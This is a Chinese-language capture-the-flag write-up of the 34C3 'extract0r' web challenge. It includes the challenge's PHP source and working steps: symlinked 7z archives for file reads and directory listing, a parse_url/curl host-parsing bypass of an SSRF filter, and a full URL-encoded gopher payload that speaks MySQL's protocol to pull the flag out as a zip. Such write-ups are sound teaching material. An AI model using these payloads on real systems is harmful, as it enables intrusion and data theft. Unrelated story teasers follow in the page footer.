34c3 web extract0r!

34c3 web extract0r!

這道題目比賽的時候做了差不多兩天都沒做出來,過完元旦抽了差不多一天半的時間研究了一下這道題,大概從一個萌新的視界講一下這道題目的一個邏輯。
題目的源碼已經(jīng)放出來了婚瓜,感興趣的可以去github上看一下

https://github.com/eboda/34c3ctf/tree/master/extract0r

任意文件讀取

index

上來頁面很簡單,一個可以上傳壓縮文件的頁面。
點擊extract it!可以完成解壓呕童。
這里很容易想到之前pwnhub也出過的一個題目,通過軟鏈接來達到任意文件讀取淆珊。但是tar格式的壓縮文件卻解壓失敗了夺饲。
嘗試以后會發(fā)現(xiàn)這個是一個7z格式的文件解壓。

ln -s /etc/passwd a
7z a -t7z 1.7z a
/etc/passwd

讀取源碼

  • index.php
<?php
session_start();

include "url.php";

function get_directory($new=false) {
    if (!isset($_SESSION["directory"]) || $new) {
        $_SESSION["directory"] = "files/" . sha1(random_bytes(100));
    }

    $directory = $_SESSION["directory"];

    if (!is_dir($directory)) {
        mkdir($directory);
    }

    return $directory;
}

function clear_directory() {
    $dir = get_directory();
    $files = glob($dir . '/*'); 
    foreach($files as $file) { 
        if(is_file($file) || is_link($file)) {
            unlink($file); 
        } else if (is_dir($file)) {
            rmdir($file);
        }
    }
}

function verify_archive($path) {
    $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
    $line = strtok($res, "\n");
    $file_cnt = 0;
    $total_size = 0;

    while ($line !== false) {
        preg_match("/^Size = ([0-9]+)/", $line, $m);
        if ($m) {
            $file_cnt++;
            $total_size += (int)$m[1];
        }
        $line = strtok( "\n" );
    }

    if ($total_size === 0) {
        return "Archive's size 0 not supported";
    }

    if ($total_size > 1024*10) {
        return "Archive's total uncompressed size exceeds 10KB";
    }

    if ($file_cnt === 0) {
        return "Archive is empty";
    }

    if ($file_cnt > 5) {
        return "Archive contains more than 5 files";
    }

    return 0;
}

function verify_extracted($directory) {
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
        if (!is_file($file)) {
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

function decompress($s) {
    $directory = get_directory(true);
    $archive =  tempnam("/tmp", "archive_");

    file_put_contents($archive, $s);
    $error = verify_archive($archive);
    if ($error) {
        unlink($archive);
        error($error);
    }

    shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
    unlink($archive);

    return verify_extracted($directory);
}

function error($s) {
    clear_directory();
    die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])) {
    $page =  get_contents($_GET["url"]);

    if (strlen($page) === 0) {
        error("0 bytes fetched. Looks like your file is empty.");
    } else {
        $deleted_dirs = decompress($page);
        $msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";

        if ($deleted_dirs > 0) {
            $msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
        }
    }
}
?>

<html>
    <head><title>extract0r!</title></head>
    <body>
        <form>
            <h1>extract0r - secure file extraction service</h1>
            <p><b>Your Archive:</b></p>
            <p><input type="text" size="100" name="url"></p>
            <p><input type="submit" value="Extract it!"></p>
        </form>

        <p>Your extracted files will appear <a href="<?= htmlspecialchars(get_directory()) ?>">here</a>.</p>
        <?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
    </body>
</html>
  • url.php
<?php
function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}

function get_port($url_parts) {
    if (array_key_exists("port", $url_parts)) {
        return $url_parts["port"];
    } else if (array_key_exists("scheme", $url_parts)) {
        return $url_parts["scheme"] === "https" ? 443 : 80;
    } else {
        return 80;
    }
}

function clean_parts($parts) {
    // oranges are not welcome here
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";

    if (array_key_exists("scheme", $parts)) {
        $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
    }

    if (array_key_exists("user", $parts)) {
        $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
    }

    if (array_key_exists("pass", $parts)) {
        $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
    }

    if (array_key_exists("host", $parts)) {
        $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
    }

    return $parts;
}

function rebuild_url($parts) {
    $url = "";
    $url .= $parts["scheme"] . "://";
    $url .= !empty($parts["user"]) ? $parts["user"] : "";
    $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
    $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
    $url .= $parts["host"];
    $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
    $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
    $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
    $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";

    return $url;
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
        "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 
        "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
        "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 
        "198.51.100.0/24", "198.18.0.0/15",  "192.0.2.0/24", "100.64.0.0/10" ];

    for ($i = 0; $i < 5; $i++) {
        $url_parts = clean_parts(parse_url($url));

        if (!$url_parts) {
            error("Couldn't parse your url!");
        }

        if (!array_key_exists("scheme", $url_parts)) {
            error("There was no scheme in your url!");
        }

        if (!array_key_exists("host", $url_parts)) {
            error("There was no host in your url!");
        }

        $port = get_port($url_parts);
        $host = $url_parts["host"];

        $ip = gethostbynamel($host)[0];
        if (!filter_var($ip, FILTER_VALIDATE_IP, 
            FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
            error("Couldn't resolve your host '{$host}' or 
                the resolved ip '{$ip}' is blacklisted!");
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                error("That IP is in a blacklisted range ({$cidr})!");
            }
        }

        // all good, rebuild url now
        $url = rebuild_url($url_parts);


        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
        curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); 
        curl_setopt($curl, CURLOPT_PORT, $port);

        $data = curl_exec($curl);

        if (curl_error($curl)) {
            error(curl_error($curl));
        }

        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    }

    error("More than 5 redirects!");
}

任意列目錄

兩天被卡在這個點上面也是萌萌噠了施符。往声。。比賽時候一直想著繞過url.php等等的事情戳吝,或者讀一些敏感文件浩销,沒去想著列目錄。

function verify_extracted($directory) {
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
        if (!is_file($file)) {
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

當(dāng)時以為這個限制的很好了听哭,就沒多想慢洋。。陆盘。
復(fù)現(xiàn)的時候一直在想怎么猜到的flag在mysql里普筹,直到隨手一試發(fā)現(xiàn)glob函數(shù)是有問題的。隘马。太防。

glob函數(shù)

也就是說$files = glob($directory . '/*');這句話,是不會顯示隱藏文件的酸员,所以如果我們軟鏈接生成的是一個隱藏文件蜒车,那么就不會被這個函數(shù)發(fā)現(xiàn),這樣就能軟鏈接一個目錄來達到任意列目錄的目的沸呐。

ln -s /home/extract0r/ .a
7z a -t7z 2.7z .a
列目錄

這樣就能找到出題人故意留下的線索醇王,一個備份用的sh文件。

  • create_a_backup_of_my_supersecret_flag.sh
#!/bin/sh
echo "[+] Creating flag user and flag table."
mysql -h 127.0.0.1 -uroot -p <<'SQL'
CREATE DATABASE  IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `flag`;

DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
  `flag` VARCHAR(100)
);


CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
SQL

echo -n "[+] Please input the flag:"
read flag

mysql -h 127.0.0.1 -uroot -p <<SQL
INSERT INTO flag.flag VALUES ('$flag');
SQL

echo "[+] Flag was succesfully backed up to mysql!"

SSRF

  • 看這個sh文件可以發(fā)現(xiàn)崭添,flag在數(shù)據(jù)庫中寓娩,同時有一個無密碼的m4st3r_ov3rl0rd用戶可以訪問這個數(shù)據(jù)庫。因為mysql是支持tcp方式建立連接的呼渣,所以如果我們能發(fā)送一個構(gòu)造的tcp包棘伴,就能做到和本地的3306端口通訊。這里值得注意的一點是屁置,mysql的登錄是挑戰(zhàn)應(yīng)答認證機制焊夸,認證時server端會隨機發(fā)送一個salt,因此如果m4st3r_ov3rl0rd用戶是有密碼的蓝角,就沒法在非交互的情況下完成tcp的連接阱穗。
  • 如何發(fā)送tcp包饭冬??通過gopher協(xié)議可以直接發(fā)送一個tcp包的exp揪阶。
  • 因為index.php會將curl請求到的數(shù)據(jù)昌抠,用7z進行解壓,所以我們還需要人為構(gòu)造一個7z能解壓的文件鲁僚。
  • url.php限制了訪問內(nèi)網(wǎng)炊苫,需要繞過url.php

繞過url.php

不得不說,這個url.php是一個我看來很完善的防止ssrf的腳本冰沙。繞過url.php的方法在php的curl本身上侨艾。繞過的核心問題是,php的parse_url和curl對于url的解析存在不同拓挥。

  • 官方給出的繞過是這樣的:gopher://foo@[cafebabe.cf]@yolo.com:3306/
    test1

    parse_url認為host是yolo.com
    但是curl卻認為host是[cafebabe.cf]
  • rfc3986中是這樣定義host的:
host        = IP-literal / IPv4address / reg-name

然后有這么一段話

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture  ) "]"

也就是說[cafebabe.cf]這種類型是rfc規(guī)定的一種host的形式唠梨,但是里面不應(yīng)該是reg-name形式的東西。curl識別了[]撞叽,因此把這個當(dāng)做了host姻成。

  • rr大佬的繞過是這樣的gopher://foo@localhost:f@ricterz.me:3306
    這個我大致的猜測是curl認為foo是userinfo段,然后localhost是host段愿棋,碰到:停止獲取科展,就獲得了localhost。不過這個payload在我本地7.47的php curl中沒有成功糠雨。遠程應(yīng)該是7.52才睹。
  • 對于curl和parse_url如何解析url,我做了一些測試以后甘邀,大致感覺curl的解析是從左至右找的host琅攘,而parse_url則是從右至左的找的host。
  • 對于指定3306端口松邪,因為
    $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
    這個的緣故坞琴,orange師傅在blackhat上的那個slide里的一些姿勢都不能用,比如
    orange

    因此逗抑,port只能放在最后的位置剧辐。還有這上面這個payload在php curl7.47里也不行,不知道為什么低版本反倒比高版本不容易繞過

mysql構(gòu)造壓縮包

  • 因為index.php會將拿到的數(shù)據(jù)用7z解壓邮府,所以我們不能只select一個flag荧关,而是要select出一個壓縮包的文件。但用mysql實現(xiàn)一個壓縮算法什么的把找出來的flag壓縮應(yīng)該是不太可行的褂傀。忍啤。。我的第一反應(yīng)是類似tar的打包仙辟。就是我們放的是無損的數(shù)據(jù)就不會存在這個問題同波。
  • tar和zip都有這樣的功能鳄梅,zip的-n參數(shù)可以不壓縮具有特定字尾字符串的文件。
  • 這樣就可以先構(gòu)造一個比如100個'A'的文件参萄,然后用zip -n的方式壓縮它卫枝,效果如圖:


    zip
  • 然后可以通過把select出來的flag替換到對應(yīng)的位置,萬幸的是crc校驗不對7z也能夠解壓23333
  • 這樣的話讹挎,flag前后,我們可以用cast把這個構(gòu)造的壓縮包的內(nèi)容依葫蘆畫瓢轉(zhuǎn)化成字節(jié)吆玖,然后用concat把前后加flag的內(nèi)容拼起來就ok了筒溃。
echo "use flag;SELECT cast(concat(0x504B03040A00000000000E4F244C8DBC9795640000006400000001001C00325554090003CB894D5AD7894D5A75780B000104E803000004E8030000,rpad(flag,100,'A'),0x504B01021E030A00000000000E4F244C8DBC97956400000064000000010018000000000000000000A48100000000325554050003CB894D5A75780B000104E803000004E8030000504B05060000000001000100470000009F0000000000) AS BINARY) from flag;"|mysql -h127.0.0.1 -um4st3r_ov3rl0rd

構(gòu)造tcp包

  • tcp包的構(gòu)造,可以像官方給的exp一樣沾乘,通過實現(xiàn)mysql的tcp通信方式來直接構(gòu)造怜奖;也可以取巧一點,通過抓包的方式獲得翅阵。
  • mysql的通信歪玲,可以參考這篇http://www.jb51.net/article/131681.htm
  • 抓包的話有一個比較坑的地方,搞的我之前怎么抓也沒抓到掷匠。就是你本地使用mysql的時候使用Unix套接字來通信的滥崩。需要加一個-h127.0.0.1的參數(shù)才是通過tcp來通信。
  • 抓到包以后把發(fā)送給server的提取出來讹语,保存它的hex值就好了钙皮。


    mysql

先抓包再研究mysql的通信過程也是個不錯的選擇。

gopher發(fā)包

這部分很簡單顽决,把剛剛提取到的hex值變成url編碼的形式短条,加上gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_就大功告成了。
最后的payload是

gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_%AD%00%00%01%85%A2%BF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6D%34%73%74%33%72%5F%6F%76%33%72%6C%30%72%64%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%65%03%5F%6F%73%05%4C%69%6E%75%78%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%31%38%39%35%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%06%35%2E%37%2E%32%30%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%66%6C%61%67%72%01%00%00%03%53%45%4C%45%43%54%20%63%61%73%74%28%63%6F%6E%63%61%74%28%30%78%35%30%34%42%30%33%30%34%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%43%30%30%33%32%35%35%35%34%30%39%30%30%30%33%43%42%38%39%34%44%35%41%44%37%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%2C%72%70%61%64%28%66%6C%61%67%2C%31%30%30%2C%27%41%27%29%2C%30%78%35%30%34%42%30%31%30%32%31%45%30%33%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%41%34%38%31%30%30%30%30%30%30%30%30%33%32%35%35%35%34%30%35%30%30%30%33%43%42%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%34%37%30%30%30%30%30%30%39%46%30%30%30%30%30%30%30%30%30%30%29%20%41%53%20%42%49%4E%41%52%59%29%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01

最后的一點是才菠,你抓包的話不難發(fā)現(xiàn)mysql除了返回給你值茸时,在前面還會有一些信息,但是7z牛逼啊赋访,不管前面的內(nèi)容也能給你解壓出來23333

大功告成

flag
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末可都,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子进每,更是在濱河造成了極大的恐慌汹粤,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,591評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件田晚,死亡現(xiàn)場離奇詭異嘱兼,居然都是意外死亡,警方通過查閱死者的電腦和手機贤徒,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評論 3 392
  • 文/潘曉璐 我一進店門芹壕,熙熙樓的掌柜王于貴愁眉苦臉地迎上來汇四,“玉大人,你說我怎么就攤上這事踢涌⊥酰” “怎么了?”我有些...
    開封第一講書人閱讀 162,823評論 0 353
  • 文/不壞的土叔 我叫張陵睁壁,是天一觀的道長背苦。 經(jīng)常有香客問我,道長潘明,這世上最難降的妖魔是什么行剂? 我笑而不...
    開封第一講書人閱讀 58,204評論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮钳降,結(jié)果婚禮上厚宰,老公的妹妹穿的比我還像新娘。我一直安慰自己遂填,他們只是感情好铲觉,可當(dāng)我...
    茶點故事閱讀 67,228評論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著吓坚,像睡著了一般撵幽。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上凌唬,一...
    開封第一講書人閱讀 51,190評論 1 299
  • 那天并齐,我揣著相機與錄音,去河邊找鬼客税。 笑死况褪,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的更耻。 我是一名探鬼主播测垛,決...
    沈念sama閱讀 40,078評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼秧均!你這毒婦竟也來了食侮?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,923評論 0 274
  • 序言:老撾萬榮一對情侶失蹤目胡,失蹤者是張志新(化名)和其女友劉穎锯七,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體誉己,經(jīng)...
    沈念sama閱讀 45,334評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡眉尸,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,550評論 2 333
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片噪猾。...
    茶點故事閱讀 39,727評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡霉祸,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出袱蜡,到底是詐尸還是另有隱情丝蹭,我是刑警寧澤,帶...
    沈念sama閱讀 35,428評論 5 343
  • 正文 年R本政府宣布坪蚁,位于F島的核電站奔穿,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏敏晤。R本人自食惡果不足惜巫橄,卻給世界環(huán)境...
    茶點故事閱讀 41,022評論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望茵典。 院中可真熱鬧,春花似錦宾舅、人聲如沸统阿。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,672評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽扶平。三九已至,卻和暖如春蔬蕊,著一層夾襖步出監(jiān)牢的瞬間结澄,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,826評論 1 269
  • 我被黑心中介騙來泰國打工岸夯, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留麻献,地道東北人。 一個月前我還...
    沈念sama閱讀 47,734評論 2 368
  • 正文 我出身青樓猜扮,卻偏偏與公主長得像勉吻,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子旅赢,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,619評論 2 354

推薦閱讀更多精彩內(nèi)容